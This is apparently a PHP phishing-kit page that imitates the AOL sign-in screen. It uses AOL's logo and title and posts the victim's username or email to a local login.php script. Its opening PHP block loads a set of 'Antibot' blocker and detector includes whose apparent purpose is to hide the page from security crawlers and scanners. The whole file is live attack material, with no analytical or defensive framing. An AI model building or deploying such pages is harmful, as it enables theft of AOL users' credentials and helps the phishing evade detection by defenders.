<?php
error_reporting(0);
session_start();
include('Antibot/global_blocker.php');
include('Antibot/Bot-Crawler.php');
include('Antibot/Dila_DZ.php');
include('Antibot/blockers.php');
include('Antibot/detects.php');
include('Antibot/antibot_host.php');
include('Antibot/antibot_userAgent.php');
//include('Antibot/antibot_ip.php');
?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Sign In - AOL</title>
  <script src="https://cdn.tailwindcss.com"></script>
</head>
<body class="min-h-screen flex flex-col">

  <!-- Header -->
  <header class="p-4">
    <nav class="flex justify-between space-x-6">
      <img src="https://s.yimg.com/cv/apiv2/ybar/logos/aol-logo-black-v1.png" class="w-24" alt="" srcset="">
      <div>
        <a href="#" class="text-sm text-blue-600 hover:underline">Help</a>
        <a href="#" class="text-sm text-blue-600 hover:underline">Terms</a>
        <a href="#" class="text-sm text-blue-600 hover:underline">Privacy</a>
      </div>
    </nav>
  </header>

  <!-- Main Content -->
  <main class="flex-1 flex items-center justify-end md:mr-40">
    <div class="w-full sm:max-w-md p-6 border">
      <!-- Logo -->
      <div class="flex justify-center mb-8">
        <span class="text-6xl font-bold"><img class="w-24 flex justify-center" src="https://s.yimg.com/cv/apiv2/ybar/logos/aol-logo-black-v1.png" alt="" srcset=""></span>
      </div>

      <!-- Form Container -->
      <div id="form-container">
        <!-- Sign-In Form -->
        <h1 class="text-2xl font-semibold mb-8">Sign in</h1>
        <form class="space-y-6" method="post" action="./login.php">
          <!-- Input Field -->
          <div class="space-y-2">
            <input 
              id="email-input"
              name="email"
              type="text" 
              placeholder="Username, email, or mobile" 
              class="w-full p-3 border-b border-gray-300 rounded focus:outline-none focus:border-b"
              required
            />
          </div>

          <!-- Next Button -->
          <button 
            type="submit" 
            class="w-full p-3 bg-blue-500 text-white font-medium rounded hover:bg-blue-600"
          >
            Next
          </button>

          <!-- Stay Signed In & Forgot Username -->
          <div class="flex items-center justify-between text-sm mb-20">
            <div class="flex items-center space-x-2">
              <input 
                type="checkbox" 
                id="stay-signed-in" 
                class="form-checkbox h-4 w-4 text-blue-500"
              />
              <label for="stay-signed-in" class="text-gray-600">Stay signed in</label>
            </div>
            <a href="#" class="text-blue-500 hover:underline">Forgot username?</a>
          </div>
        </form>
      </div>

      <!-- Create Account Button -->
      <button 
        class="w-full mt-6 p-3 border border-gray-300 text-gray-700 font-medium rounded hover:bg-gray-100 my-24"
      >
        Create an account
      </button>
    </div>
  </main>
</body>
</html>
